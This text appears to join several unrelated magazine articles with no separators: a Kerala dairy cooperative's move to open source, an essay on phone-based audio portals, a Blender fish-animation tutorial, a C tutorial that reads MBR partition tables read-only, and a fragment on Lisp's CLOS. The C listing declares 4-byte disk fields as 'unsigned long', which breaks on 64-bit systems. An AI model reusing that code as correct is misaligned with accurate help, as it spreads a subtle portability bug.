While people are still contemplating whether to use open source in their mission-critical operations, the Kerala Dairy Cooperative Societies (DCS) has set an example by using open source in its day-to-day activities, to cut costs.

In cooperative societies, a group of dairy farmers come together and are assisted by the government to set up a society. Each district has an average of 100 societies, which could each comprise 200 to 2,000 dairy farmers. The farmers bring their produce to the societies, where it is measured in terms of quantity and quality, and this data is recorded on a daily basis.

Earlier, their process involved manually entering data into registers, ledgers, schedules and forms. This caused a lot of difficulty in verifying and tracking the status of each activity, and settling accounts with dairy farmers and customers.

The initial exercise, prior to adopting open source, included discussions with the dairy societies to identify their complete requirements and problems. Their main need was automation of office procedures like data entry and the generation of reports.

A computerised information system was developed with the help of National Informatics Centre (NIC) in 2001. Called Lypsaa, it was developed on a Microsoft platform and used Visual Basic for development, Crystal Reports to generate reports, and the Windows 98 operating system.

“Though this introduced transparency into the system, proprietary solutions meant a high cost in the form of licence fees for at least 70 systems and servers,” shares Khalid C, solutions architect of Lypsaa and a freelance consultant. Moreover, Microsoft stopped supporting some of the software after they launched newer versions of the Windows OS, and there were issues with compatibility.

A software development committee created jointly by DCS and NIC was against the hidden costs of proprietary software. They evaluated Lypsaa and submitted a proposal to migrate it to an open source solution named OpenLypsaa. The committee started its efforts to develop free software using hired resources in 2007.

Open source for cost-cutting

The most prominent benefit to the societies is related to cost. “As a result of using free and open source software at every possible step, the Kerala DCSs collectively saved about Rs 25 lakh,” states Simon E K, District Informatics Officer, NIC.

“If we went ahead with Windows-based PCs and proprietary databases, it would have cost about Rs 5,000 per society. We are assured that our total investment of Rs 5-6 lakhs was a good one. We also have a hold on the total cost of ownership including development, installing and using software for the duration of its life,” he adds.

The DCSs did not have to make additional investments for new computer systems as they could use their regular systems with Intel architecture, 512 MB or higher RAM, and 80 GB hard disk drives.

Ease of maintenance is another advantage that Jose Emmanuel, deputy director, Dairy Development, Government of Kerala, noted. He states, “With Microsoft, we would often get calls from the societies due to viruses on their machines — at least one call per month. Our experience with open source proves that it is much more secure, as we receive no complaints about viruses, reformatting and system crashes.”

Going the open source way

To begin with, Ubuntu was introduced on all the DCS systems. OpenLypsaa was developed and implemented at 30 societies by 2008. It is a complete software solution developed using the LAMP platform. OpenLypsaa is used in functions like generating milk-bills for farmers and taking care of their daily accounting. It is used to register members, keep milk procurement details, manage financial accounting, prepare milk bills, register any service connections, and maintain the accounts and details of various customers.

“Milk bills include details like the quantity of produce brought, its quality, the price at which it was sold, etc. When data was entered manually, it was impossible to avoid numerical errors. Mistakes are almost negligible now. Moreover, there was room for malpractice when it came to creating a voters’ list for elections within the societies. This system ensures fair play by filtering out farmers who have not contributed a minimum amount of milk to the society,” Khalid confidently states.

The system maintains registers for sales, producers’ personal details, cattle feed sales, advance payments and financial accounts, and also helps in generating crucial reports on voters, pensioners and scheme beneficiaries.

“For instance, the state government sometimes gives benefits to farmers who have contributed regularly for two months, or have given extra produce. It was earlier a cumbersome task to look through our registers and fish through all the entries. With OpenLypsaa, the beneficiaries are a click away. We can also generate a periodical report on farmers based on these entries,” adds Khalid.

OpenLypsaa used TCPDF — a PHP class to generate PDF documents, “Business Intelligence and Reporting Tool” (BIRT) for report generation, and HighCharts for charting MIS reports. HighCharts is a charting library written in pure JavaScript, which offers an easy way to add interactive charts to a website or Web application.

Khalid says, “All data and configuration comes in JSON format. It fits well with PHP, without having to write tons of code or use some third-party library. The json_encode function is very handy when passing options from PHP to HighCharts.”

The committee, along with NIC, also developed a solution called “System for Automating Milk Procurement” (SAMP). It was developed using Java and SQLite. With the previous system, farmers would contribute their produce in the morning and a sample would be sent to the lab to test for quality details like fat content, protein and water content. Based on this test, the price for each farmer’s produce was decided, and the farmer would be informed about the price only in the evening.

“With the introduction of SAMP, the quality and content of the milk can be measured when the farmer brings his produce, and the price is set right away,” Khalid reveals.

About a year ago, an SMS response system was also created by the team for auto-answering farmers’ SMS queries using a Kannel SMS Gateway. Farmers can type in key words like “Milk rate”, “Monthly payment”, etc., to the number provided, and the database generates the reply in the form of an SMS. The committee is also developing a dairy portal, through which farmers can access information about periodical reports and statements, statistical reports, government orders and circulars in Malayalam. This is due to be launched early next year.

Not a smooth journey

Despite the advantages, migrating to open source was not an easy task. One of the main challenges was training the employees at each society. “The staff had to be trained on many aspects like file operations, office applications, taking back-ups and restoring databases on Ubuntu Linux. For this, our support team visited each society and trained the staff themselves,” explains Khalid. Finding manpower for this support has also been a constant challenge.

Khalid adds, “With NIC’s support, the DCS formed a formal committee, but it has not been set up well yet. Their salary comes from the cooperative societies’ contributions, and we still find it difficult to get employees with expertise in PHP and Linux to stay here for a long tenure.”

Some of the other challenges faced in the initial stages were architecture compatibility of open source tools, finding open source solutions for various requirements, and the selection of the right open source tools. For this, the software development team and NIC interacted regularly with the online open source communities to overcome the issues.

Just around the corner

The DCSs are still looking for people who can add to their support team. The committee members still feel that the challenges they have faced are minuscule compared to the benefits they have received. At present, 50 societies are still running on Lypsaa, and they gradually plan to migrate to OpenLypsaa over the next two years, until the DCSs completely run on open source.

Democracy, as a system, is completely dependent on communication, to the extent that when communication breaks down, so does the democratic process. In order for a group of people to participate equally in democracy, they must necessarily share a communication platform, where they can share not just facts, but also views and opinions. Small wonder then, that free speech is prized and cherished by all democracies, and coveted by citizens of almost all countries that are yet to become  democracies.

One of the fundamental requirements of free speech and participation in democracy is the availability of a free, open medium and platform of communication that is equally accessible by all members of the democratic community. Almost every culture in the world has a concept of a central community gathering place, where people gather after a day’s work, to talk and share information.

In India, this is typically the village chaupal, in West Kalimantan (erstwhile Borneo), Indonesia, it’s called a ruai. In Afghanistan, it may be called a chaikhana. These community structures have traditionally provided the common platform and free medium for communication.

This type of platform is structured like a circle, and the free medium is air. In a circular structure, everyone has an equal say, because everyone has equal access to the medium and equal reach to every other member of the platform. No special equipment is required to use this medium; ears and a mouth will typically suffice. These structures provided a way for people to voice their opinion, share their concerns and find solutions to conflict through dialogue.

After the industrial revolution and the dawn of the corporation, mass media began to play this role in people’s lives. Newspapers, radio and television became the new media that people used. These media had a much wider reach and they seemed like the perfect democratic tool. However, these media have a structural problem that prevents them from being truly democratic. By virtue of corporate and editorial hierarchy, these media are structured like a triangle (Figure 1).

Figure 1: Media communication

News, in this model, travels downwards from an elite minority that determines what content is “newsworthy” to the community. The community typically cannot relate the incoming news to their own lives, and either becomes disenfranchised by virtue of lack of representation, or assumes the media version of facts to be true, and that they themselves are an anomaly. At the very least, this influences their participation in democracy, and at worst, they are rendered voiceless in that most fundamental democratic process — debate.

This hierarchical model of modern commercial media requires profits for the media organisation to continue to run. This means that news needs to sell. If a newspaper cannot generate advertising revenue, it will soon shut down. Obviously, with profit as the first imperative, relevance of the content to the community and their feedback must become secondary. Moreover, there is an incentive in preventing communication technology from reaching its true potential. For example, if community radio became fully deregulated, would commercial radio or, for that matter, television, stand a chance?

This skewed set of incentives, and the resulting policies and actions, has led to several communities across the world, particularly in the developing world, becoming alienated and disenfranchised with mainstream society. These communities are particularly susceptible to coercion and this might partly explain the escalating violence in the world today.

This conundrum should be quite familiar to open source enthusiasts, since the basic principles involved are much the same as the ones in the open source vs closed source software debate. To draw a parallel from The Cathedral And The Bazaar, mainstream media follows the cathedral model, while community platforms are more like bazaars. Both paradigms have their value and importance in the structure of society at large. However, in the context of media, the cathedral or top-down model appears to have reached its limits of effectiveness — and, in my opinion, has passed the point of diminishing returns.

The growth of user-generated content on the Internet over the last decade is a clear indicator that as connectivity improves, people are increasingly eager to directly voice their opinions and concerns without the need of mainstream media as an intermediary, particularly since in the real world, no intermediary is perfectly impartial.

The developing world

In the developing world, this uprising of citizen media has been stunted by the uneven distribution of resources, such as infrastructure, connectivity and literacy. While connectivity in the developed world has allowed the blogosphere to become a political force to contend with, most developing countries have an Internet penetration of less than 10 per cent, typically concentrated in urban areas.

Even where connectivity exists, the vast majority of users are only just starting to view the Internet as anything more than email and instant messaging. In many of these countries, even as economies have opened up and globalisation has settled in, entire communities are still disconnected from the rest of the world, primarily because they do not represent a market segment worthy of media representation.

Mainstream media in these countries typically focus on urban issues that relate to economic and political decision makers, rather than the vox populi.

In several of these countries, however, innovation is now taking place to bridge this gap by other means. While Internet penetration remains low, the use of mobile phones is a different story altogether. Most of the developing world has far outpaced the developed world in terms of mobile phone adoption and versatility of usage. Even in places where people earn less than a dollar a day, cell phones are ubiquitous. A medium that uses voice, the oldest mode of communication known to man, amplified by several orders of magnitude, so as to cover unimaginable distances, is as irresistible to a Gond tribal in Chhattisgarh, India, as it is to a street food vendor in Jakarta, Indonesia.

Recognising the potential of this medium, several groups are now actively engaged in developing technology to allow people to use their voice to connect themselves and their communities to the rest of the world. One of the first tools of this new age of innovation is the audio portal.

An audio portal?

An audio portal (Figure 2) is essentially a website with a lot of audio content that can be accessed both through the Web as well as by phone.

Figure 2: An audio portal

While the Web interface is usually like a blog, the phone interface is an IVR (Interactive Voice Response) system, where users press keys to navigate through menus and content. In more advanced IVR systems, voice recognition may be used, though this is still limited to the well-documented accents of the English language. The Web interface is very similar to a blog, and several audio portals do use the blog layout.

Behind the scenes, the platform will also provide an interface to manage posts. Early implementations of audio portals tended to rely on specialised moderation consoles, which have media-previewing capabilities as well as functionality for moderators to add metadata, such as a summary and title, to the content to make it friendlier to users on the Web.

Users will typically call the IVR interface to record and listen to content using their cell phones, while Web users will access the website interface to listen to the audio posts using a browser, and leave comments in text, which then may or may not be converted to audio using a text-to-speech system.

People who own the latest Android or iPhone may find the idea of an IVR interface to browse content somewhat counter-intuitive, since it makes no sense to call in and scroll through a set of menus, particularly with an irritatingly monotonic voice rattling out instructions all the time, when you can simply open the Web page on your cell phone’s browser, and read.

The graph in Figure 3 may help clarify why a purely visual interface is not adequate to reach the majority of the world.

Figure 3: Cell phone and broadband users

The percentage of Internet users, even among the mobile phone users of the world, is a fraction of the percentage of people using their phones purely for voice and SMS. While mobile Internet use is, and will continue to be, on the rise, the bulk of the world will continue to be on voice for some time to come.

This is also historically consistent, since most societies have far stronger oral traditions than written ones. Voice captures much more than simply language. Tone, quality, emotion are all interwoven in the spoken word. If a picture is worth a thousand written words, then a spoken word counts for at least a few hundred… not to mention that drawing an attractive picture takes considerably more skill than speaking!

What makes mobile phones particularly attractive as a medium, though, is the two-way nature of the medium. With radio and television, though the reach may be much wider than mobile phones, the ability to respond immediately to what you hear or see — on the same platform, at the same level as the source, which is extremely valuable in fostering dialogue — is missing.

The audio portal concept caters to every cell phone, whether mass-market or smartphone equally, which works very well to level the platform. Most importantly, audio portals use technology, skills and other resources that are available now, as opposed to those that require extensive “capacity building” exercises. This is probably the reason why audio portals, as a tool, find more favour with grassroots workers and members of the community, rather than with technology evangelists and academia.

The technology

Audio portals utilise relatively simple technology, most of which has been around in the open source world for some time. An audio portal will typically consist of a phone interface (either fixed-line or mobile), connected to a content-management system (usually a database) and a Web front-end, via an IVR running on a soft switch or software PBX system. Two examples of audio portal platforms are Swara and FreedomFone.

Swara

Swara is an open source project, originally written as a research project by students and professors at MIT to augment the outreach and activities of CGNet, a people’s discussion group working with indigenous communities in central India. CGNet was started by veteran journalist Shubhranshu Choudhary, who returned to Central India, where he grew up, to find it torn by violence. Probing to find the reason for the conflict, he quickly realised that open, accessible community media would be a key component of any solution to the conflict. Given that Internet penetration in the region is less than 1 per cent, and community radio is limited by regulation, the next best medium for a community platform was the mobile phone.

The first pilot of Swara was deployed in Bengaluru for use by indigenous communities in Chhattisgarh and neighbouring states in February 2010. Today, the pilot receives over 300 calls a day, and the team is working on building the platform out as an open source project for deployment in other locations. The first replica of the project went live in Indonesia in December 2011.

Swara uses a combination of the Asterisk PBX system in combination with the LoudBlog audio blogging platform, with the integration written in Python. The tested interfaces are GSM gateways (Topex Mobilink, etc) and fixed lines (PRI/BRI) using a Digium telephony card.

FreedomFone

FreedomFone was developed by Alberto Escudero Pascual and Louise Berthilson of IT46, a Swedish IT consultancy, for the Kubatana Trust in Zimbabwe. It was created for many of the same reasons as Swara was developed in India, i.e., lack of impartial and open commercial media, and the need for local and community-level reporting. The FreedomFone pilot, a weekly audio magazine called Inzwa, has been running in Zimbabwe since July 2009, and received over 2,500 calls between July and September 2009. FreedomFone’s team is also working on developing the platform as a user-friendly DIY IVR kit, and is keen on replicating the model in other areas.

FreedomFone uses the FreeSWITCH soft switch to interface with telephony devices such as the Mobigater and Office Router GSM gateways. The content management system is written in CakePHP, and FreedomFone additionally uses the Cepstral speech synthesis system for text-to-speech conversions. The stated objective is to create a purely phone-accessible platform.

Deployment 101

Both platforms have an almost identical design, as would most audio portal software. This is almost analogous to how traditional websites are built, with the choice of platform being similar to the choice between different Web frameworks. Just as you will find lots of different opinions and preferences for Web platforms among Web designers, you will find that the few implementers of audio portals are just as varied in their preferences for platforms. This usually depends on which platform the implementer is most familiar with — and if you are implementing your own, one is essentially as good as the other.

The key question, irrespective of which platform you use, is one of deployment strategy. At present, most implementations of audio portals as community media platforms are centralised instances deployed by a single organisation or group, with a specific agenda (such as news, healthcare or governance).

Centralised function-oriented deployment

Centralised, function-oriented deployments require content of a certain quality and, as a result, must usually be moderated. Speech-recognition technology, particularly in the area of automatic transcription, is still a far cry from being very accurate. As a result, moderating a function-specific audio portal is still a manual job, for the most part.

Typically, audio portal moderators will need to listen to each message and summarise and/or transcribe it. Beyond transcription, there may be more work to do to improve the quality of the content for the specific purpose of the deployment, like sound quality clean-ups and edits, fact verification (if journalism is the function, for example) and categorisation. All of this work is further exacerbated in a centralised deployment, since all incoming calls come to the same central hub (see Figure 4).

Figure 4: Centralised deployments

In India, and other countries where long-distance call charges are higher than local call charges, centralised platforms also suffer from an added cost element, since all callers must call the central number, regardless of their own locations.

Hyperlocal deployments

An alternative model is a hyperlocal community-oriented one. In this model, an instance of the platform is deployed at the community level and maintained by community members. Such community-level audio portals could be used as voice-based bulletin boards. By managing the size of the user base, and ensuring a manageable user adoption rate by limiting publicity to word of mouth, communities could eliminate the need for moderation by making sure everyone on the platform was known by the others and therefore accountable to the community.

Several communities can then choose to link their platforms, either by sharing content, or by simply listening to each other. This will eventually lead to an organically expanding network, where people can choose which deployments they want to subscribe to, much in the same way as Internet users subscribe to different forums and websites. This would also ease the burden on centralised deployments already in existence, since they could then simply trawl the community bulletin boards for usable content, rather than filter out unusable content on their own incoming stream. As you can see from Figure 5, the hyperlocal model offers more avenues for collaboration and the cross-fertilisation of ideas between communities than the centralised model.

Figure 5: The advantage of hyperlocal deployments

A word of caution: This approach is still experimental, and needs several more deployments before it can be considered a best practice. However, for communities interested in improving their information access and level of participation in mainstream society, this is a very worthwhile experiment to take on. Both systems described here can be installed on a mid-range notebook computer.

The software is all open source and free for non-commercial use. Mobile interfaces like GSM gateways and mobile ATAs are relatively cheap — a Matrix SETU ATA 211G would cost roughly US$ 120, and the Mobigater is priced at about US$ 50. The total cost of setting up a local IVR installation and running it through a year, including the cost of connectivity, is typically less than US$ 200 a year.

Of course, the most important thing to remember while setting up an alternative communication platform is that while technology will certainly provide the tools, the key to success is to build a strong community around your platform, and quickly demonstrate value to the community from participating. This is where most of the hard work lies.

It would be interesting to see how well the open source community in India takes to these projects and how quickly the hyperlocal model can be tested with several more installations.

References

• Swara Project on GitHub
• Swara Community
• CGNet Swasra
• FreedomFone Project

Blender is great software for animation and is particularly suited for character animation. Following a process of modelling and creating vertex groups for complex models, and then auto-assigning bones using the same nomenclature as for the vertex groups, makes it very easy to set up a working character rig. The Armature tool in Blender is very advanced, yet quite simple to use even for novices. Setting up controls is also quite easy in Blender, compared to software like Maya or Max.

Create controls and add IK

Shift to the orthographic side view by pressing 3 and 5 on the numeric pad. Click just in front of the mouth of the fish. Press the space bar and Add-Mesh-Cube. Scale down the cube as shown in Figures 1 and 2.

Figure 1: Adding a mesh cube

Figure 2: Scaling down the cube

You can create IK in Blender in various ways. The easiest is to first shift to Pose Mode. Select the control cube you just created. Shift-select the head bone. Press Ctrl+I. A pop-up asks you whether you want to assign IK to the active object. Click OK. Go down to the Armature panel and set the chain length to 1.

Add similar cubes to create controls for the fins and the tail. Add IK for all the controls. Shift to the Animation UI and click the render boxes next to the cube icons in the outliner (Restrict/Allow renderability). This will disable rendering of the cubes (since in our renders we want only the goldfish to be displayed and not the controls). Figures 3 to 6 show the process of adding controls and IK, and Figure 7 shows how to toggle rendering of the cube.

Figure 3: Adding IK control to the head

Figure 7: Renaming Ctrls Toggle Render

Testing the controls

Next, it is time to test the controls. While in object mode, move around the cubes to test the deformations on the fish. If you find these are not as expected, shift to the weight painting mode and try to get rid of overlapping weights — remove extra weights and add weight where necessary. On the weight painting slider, the lower part is for lower values and the upper part for higher values.

Creating keyframes for animation

Shift to the Animation UI through the drop-down menu. Select the whole armature at Frame 1. Press ‘I’ for a pop-up menu to key in various attributes. Key the location, rotation and scale on the first frame. Selecting the armature and controls, move the goldfish forward in the viewport.

Shift to frame 250 and key the frame (press ‘I’ and key the location, rotation and scale). Shifting back to Frame 1, test your animation — press Alt+A to play it. You will observe that the goldfish moves forward and the animation loops. Figures 8 and 9 show the insertion of keyframes at 1 and 250. Figure 10 shows the goldfish playing as a loop in the camera view.

Path animation: a good way to animate simple objects

The easiest and the most convincing method of animating simple objects is path animation. It can create both the simplest and the most complex animation, depending on the type of path you create. In Blender, you first create your object, and then your path, after which you parent the object to the path using the Follow Path command, which could be done in various ways. Once your object starts to follow the path, the animation can be fine-tuned in various ways (modify the path’s attributes, or modify the IPO curves in the Curve Editor).

Creating circular motion

While at the Animation UI, press Add to add a nurbs circle. Press F9 to go to the buttons for nurbs and surface attributes. Set the path length to 250. Make it a 3D object. Also enable Curve Path and Curve Follow. Now select the armature, the controls and shift-select the nurbs circle.

Press Ctrl+P. From the pop-up menu, select Follow Path. This makes your fish follow the path defined by the nurbs circle — a circular motion. Play your animation (Alt+A). If you find the fish is not aligned to the path properly, you can fix this by manually rotating and aligning the fish on the nurbs circle. Figures 11 and 12 show how the nurbs circle is used to make a circular path for the goldfish.

Figure 11: Add nurbs circle

Figure 12: Curve and surface parameters

Creating random motion using a hand-drawn path

Create a path. Shift to edit mode. Select the end-point and start to extrude it using E. Make a random path. Once you are done with path creation, select the armature with the fish controls and the parent to the path (Follow Path from the pop-up menu).

Play the animation (Alt+A). Using Shift+D, you could make multiple copies of the same animation and place them randomly before the camera. When you play the animation, it gives the impression of a whole school of fish swimming randomly. This is by far the best way of creating animation using the Animate along path method.

Once you practice creating such animation you could fine-tune it to make it appear more realistic, perhaps by using the cube controls to move the fish fins back and forth, move the tail from side to side, open and close the mouth of the fish as it moves, and so on.

There is no limit to the innumerable ways you can make your animation more realistic. Figure 13 shows you the goldfish moving along randomly created paths.

Figure 13: Random animation using the path

“Doesn’t it sound like a mechanical engineering subject: The design of the hard disk?” questioned Shweta. “Yes, it does. But understanding it gives us an insight into its programming aspect,” reasoned Pugs, while waiting for the commencement of the seminar on storage systems.

The seminar started with a few hard disks in the presenter’s hand and then a dive into her system, showing the output of fdisk -l (Figure 1).

Figure 1: Partition listing by fdisk

The first line shows the hard disk size in human-friendly format and in bytes. The second line mentions the number of logical heads, logical sectors per track, and the actual number of cylinders on the disk — together known as the geometry of the disk.

The 255 heads indicate the number of platters or disks, as one read-write head is needed per disk. Let’s number them, say D1, D2, … D255. Now, each disk would have the same number of concentric circular tracks, starting from the outside to the inside. In the above case, there are 60,801 such tracks per disk. Let’s number them, say T1, T2, … T60801. And a particular track number from all the disks forms a cylinder of the same number. For example, tracks T2 from D1, D2, … D255 will together form the cylinder C2. Now, each track has the same number of logical sectors — 63 in our case, say S1, S2, … S63. And each sector is typically 512 bytes. Given this data, one can actually compute the total usable hard disk size, using the following formula:

Usable hard disk size in bytes = (Number of heads or disks) * (Number of tracks per disk) * (Number of sectors per track) * (Number of bytes per sector, i.e. sector size)

For the disk under consideration, it would be: 255 * 60801 * 63 * 512 bytes = 500105249280 bytes.

Note that this number may be slightly less than the actual hard disk (500107862016 bytes, in our case). The reason is that the formula doesn’t consider the bytes in the last partial or incomplete cylinder. The primary reason for that is the difference between today’s technology of organising the actual physical disk geometry and the traditional geometry representation using heads, cylinders and sectors.

Note that in the fdisk output, we referred to the heads and sectors per track as logical not physical. One may ask that if today’s disks don’t have such physical geometry concepts, then why still maintain them and represent them in a logical form? The main reason is to be able to continue with the same concepts of partitioning, and be able to maintain the same partition table formats, especially for the most prevalent DOS-type partition tables, which heavily depend on this simplistic geometry. Note the computation of cylinder size (255 heads * 63 sectors / track * 512 bytes / sector = 8225280 bytes) in the third line and then the demarcation of partitions in units of complete cylinders.

DOS-type partition tables

This brings us to the next important topic: understanding DOS-type partition tables. But first, what is a partition, and why should we partition? A hard disk can be divided into one or more logical disks, each of which is called a partition. This is useful for organising different types of data separately, for example, different operating system data, user data, temporary data, etc.

So, partitions are basically logical divisions and need to be maintained by metadata, which is the partition table. A DOS-type partition table contains four partition entries, each a 16-byte entry. Each of these entries can be depicted by the following ‘C’ structure:

typedef struct
{
    unsigned char boot_type; // 0x00 - Inactive; 0x80 - Active (Bootable)
    unsigned char start_head;
    unsigned char start_sec:6;
    unsigned char start_cyl_hi:2;
    unsigned char start_cyl;
    unsigned char part_type;
    unsigned char end_head;
    unsigned char end_sec:6;
    unsigned char end_cyl_hi:2;
    unsigned char end_cyl;
    unsigned long abs_start_sec;
    unsigned long sec_in_part;
} PartEntry;

This partition table, followed by the two-byte signature 0xAA55, resides at the end of the disk’s first sector, commonly known as the Master Boot Record (MBR). Hence, the starting offset of this partition table within the MBR is 512 - (4 * 16 + 2) = 446. Also, a 4-byte disk signature is placed at offset 440.

The remaining top 440 bytes of the MBR are typically used to place the first piece of boot code, that is loaded by the BIOS to boot the system from the disk. The part_info.c listing contains these various definitions, along with code for parsing and printing a formatted output of the partition table.

From the partition table entry structure, it could be noted that the start and end cylinder fields are only 10 bits long, thus allowing a maximum of 1023 cylinders only. However, for today’s huge hard disks, this is in no way sufficient. Hence, in overflow cases, the corresponding <head, cylinder, sector> triplet in the partition table entry is set to the maximum value, and the actual value is computed using the last two fields: the absolute start sector number (abs_start_sec) and the number of sectors in this partition (sec_in_part).

The code for this too is in part_info.c:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

#define SECTOR_SIZE 512
#define MBR_SIZE SECTOR_SIZE
#define MBR_DISK_SIGNATURE_OFFSET 440
#define MBR_DISK_SIGNATURE_SIZE 4
#define PARTITION_TABLE_OFFSET 446
#define PARTITION_ENTRY_SIZE 16 // sizeof(PartEntry)
#define PARTITION_TABLE_SIZE 64 // sizeof(PartTable)
#define MBR_SIGNATURE_OFFSET 510
#define MBR_SIGNATURE_SIZE 2
#define MBR_SIGNATURE 0xAA55
#define BR_SIZE SECTOR_SIZE
#define BR_SIGNATURE_OFFSET 510
#define BR_SIGNATURE_SIZE 2
#define BR_SIGNATURE 0xAA55

typedef struct {
    unsigned char boot_type; // 0x00 - Inactive; 0x80 - Active (Bootable)
    unsigned char start_head;
    unsigned char start_sec:6;
    unsigned char start_cyl_hi:2;
    unsigned char start_cyl;
    unsigned char part_type;
    unsigned char end_head;
    unsigned char end_sec:6;
    unsigned char end_cyl_hi:2;
    unsigned char end_cyl;
    unsigned long abs_start_sec;
    unsigned long sec_in_part;
} PartEntry;

typedef struct {
    unsigned char boot_code[MBR_DISK_SIGNATURE_OFFSET];
    unsigned long disk_signature;
    unsigned short pad;
    unsigned char pt[PARTITION_TABLE_SIZE];
    unsigned short signature;
} MBR;

void print_computed(unsigned long sector) {
    unsigned long heads, cyls, tracks, sectors;

    sectors = sector % 63 + 1 /* As indexed from 1 */;
    tracks = sector / 63;
    cyls = tracks / 255 + 1 /* As indexed from 1 */;
    heads = tracks % 255;
    printf("(%3d/%5d/%1d)", heads, cyls, sectors);
}

int main(int argc, char *argv[]) {
    char *dev_file = "/dev/sda";
    int fd, i, rd_val;
    MBR m;
    PartEntry *p = (PartEntry *)(m.pt);

    if (argc == 2) {
        dev_file = argv[1];
    }
    if ((fd = open(dev_file, O_RDONLY)) == -1) {
        fprintf(stderr, "Failed opening %s: ", dev_file);
        perror("");
        return 1;
    }
    if ((rd_val = read(fd, &m, sizeof(m))) != sizeof(m)) {
        fprintf(stderr, "Failed reading %s: ", dev_file);
        perror("");
        close(fd);
        return 2;
    }
    close(fd);
    printf("\nDOS type Partition Table of %s:\n", dev_file);
    printf("  B Start (H/C/S)   End (H/C/S) Type  StartSec    TotSec\n");
    for (i = 0; i < 4; i++) {
        printf("%d:%d (%3d/%4d/%2d) (%3d/%4d/%2d)  %02X %10d %9d\n",
            i + 1, !!(p[i].boot_type & 0x80),
            p[i].start_head,
            1 + ((p[i].start_cyl_hi << 8) | p[i].start_cyl),
            p[i].start_sec,
            p[i].end_head,
            1 + ((p[i].end_cyl_hi << 8) | p[i].end_cyl),
            p[i].end_sec,
            p[i].part_type,
            p[i].abs_start_sec, p[i].sec_in_part);
    }
    printf("\nRe-computed Partition Table of %s:\n", dev_file);
    printf("  B Start (H/C/S)   End (H/C/S) Type  StartSec    TotSec\n");
    for (i = 0; i < 4; i++) {
        printf("%d:%d ", i + 1, !!(p[i].boot_type & 0x80));
        print_computed(p[i].abs_start_sec);
        printf(" ");
        print_computed(p[i].abs_start_sec + p[i].sec_in_part - 1);
        printf(" %02X %10d %9d\n", p[i].part_type,
            p[i].abs_start_sec, p[i].sec_in_part);
    }
    printf("\n");
    return 0;
}

As the above is an application, compile it with gcc part_info.c -o part_info, and then run ./part_info /dev/sda to check out your primary partitioning information on /dev/sda. Figure 2 shows the output of ./part_info on the presenter’s system. Compare it with the fdisk output in Figure 1.

Figure 2: Output of ./part_info

Partition types and boot records

Now, as this partition table is hard-coded to have four entries, that’s the maximum number of partitions you can have. These are called primary partitions, each having an associated type in the corresponding partition table entry. These types are typically coined by various OS vendors, and hence sort of map to various OSs like DOS, Minix, Linux, Solaris, BSD, FreeBSD, QNX, W95, Novell Netware, etc., to be used for/with the particular OS. However, this is more a formality than a real requirement.

Besides this, one of the four primary partitions can be labelled as something called an extended partition, which has a special significance. As the name suggests, it is used to further extend hard disk division, i.e., to have more partitions. These are called logical partitions and are created within the extended partition. The metadata of these is maintained in a linked-list format, allowing an unlimited number of logical partitions (at least theoretically).

For that, the first sector of the extended partition, commonly called the Boot Record (BR), is used like the MBR to store (the linked-list head of) the partition table for the logical partitions. Subsequent linked-list nodes are stored in the first sector of the subsequent logical partitions, referred to as the Logical Boot Record (LBR). Each linked-list node is a complete 4-entry partition table, though only the first two entries are used — the first for the linked-list data, namely, information about the immediate logical partition, and the second as the linked list’s next pointer, pointing to the list of remaining logical partitions.

To compare and understand the primary partitioning details on your system’s hard disk, follow the steps (as the root user — hence with care) given below:

./part_info /dev/sda ## Displays the partition table on /dev/sda
fdisk -l /dev/sda ## To display and compare the partition table entries with the above

In case you have multiple hard disks (/dev/sdb, …), hard disk device files with other names (/dev/hda, ……), or an extended partition, you may try ./part_info <device_file_name> on them as well. Trying on an extended partition would give you the information about the starting partition table of the logical partitions.

Right now, we have carefully and selectively played (read-only) with the system’s hard disk. Why carefully? Since otherwise, we may render our system non-bootable. But no learning is complete without a total exploration. Hence, in our next session, we will create a dummy disk in RAM and do destructive exploration on it.

In rare moments of self-reflection, when I allow myself to doubt my skills as a Lisp evangelist, I sometimes wonder if I have left behind some of my fellow programmers who favour the object-oriented style of programming. Just because I have been focusing on Lisp as a functional programming paradigm, it doesn’t mean we don’t have a role for you in our plans of world domination. Read on to know where you fit in.

Functional vs object-oriented (OO) programming

With an OO approach, programmers write code that describes in exacting detail the steps that the computer must take to accomplish the goal. They focus on how to perform tasks, and how to track changes in state. They would use loops, conditions and method calls as their primary flow control, and instances of structures or classes as primary manipulation units. OO tries to control state behind object interfaces.

In contrast, functional programming (FP) involves composing the problem as a set of functions to be executed. FP programmers focus on what information is desired and what transformations are required, by carefully defining the input to each function and what each function returns. They would use function calls, including recursion, as their primary flow control, functions as first-class objects and data collections as primary manipulation units. FP tries to minimise state by using pure functions as much as possible.

According to Michael Feathers: “OO makes code understandable by encapsulating moving parts. FP makes code understandable by minimising moving parts.”

Conard Barski points out that the critics of the OO programming style may complain that object-oriented techniques force data to be hidden away in a lot of disparate places by requiring them to live inside many different objects. Having data located in disparate places can make programs difficult to understand, especially if that data changes over time.

Therefore, many Lispers prefer to use functional techniques over object-oriented techniques, though the two can often be used together — with some care. Nonetheless, there are still many domains in which object-oriented techniques are invaluable, such as in user interface programming or simulation programming.

On the other hand, James Hague, in his assessment of functional programming argues that, “100 per cent pure functional programming doesn’t work. Even 98 per cent pure functional programming doesn’t work. But if the slider between functional purity and 1980s BASIC-style imperative messiness is kicked down a few notches — say to 85 per cent — then it really does work. You get all the advantages of functional programming, but without the extreme mental effort and un-maintainability that increases as you get closer and closer to perfectly pure.”

CLOS

If OO is what gets you going, Common Lisp offers the most sophisticated object-oriented programming framework of any major programming language. It’s called Common Lisp Object System (CLOS). It is customisable at a fundamental level, using the Meta-Object Protocol (MOP). It has been claimed that there’s really nothing like it anywhere else in programming. It lets you control incredibly complex software without losing control over the code.

Let the tears of joy flow…

Object-oriented programming in Common Lisp

What is CLOS?

#1: It is a layered system designed for flexibility.

One of the design goals of CLOS is to provide a set of layers that separate different programming language concerns from one another. The first level of the Object System provides a programmatic interface to object-oriented programming. This level is designed to meet the needs of most serious users, and to provide a syntax that is crisp and understandable.

The second level provides a functional interface into the heart of the Object System. This level is intended for programmers who are writing very complex software or a programming environment. The first level is written in terms of this second level.

The third level provides the tools for programmers who are writing their own object-oriented language. It allows access to the primitive objects and operators of the Object System. It is this level at which the implementation of the Object System itself is based.

The layered design of CLOS is founded on the meta-object protocol, a protocol that is used to define the characteristics of an object-oriented system. Using the meta-object protocol, other functional or programmatic interfaces to the Object System, as well as other object systems, can be written.

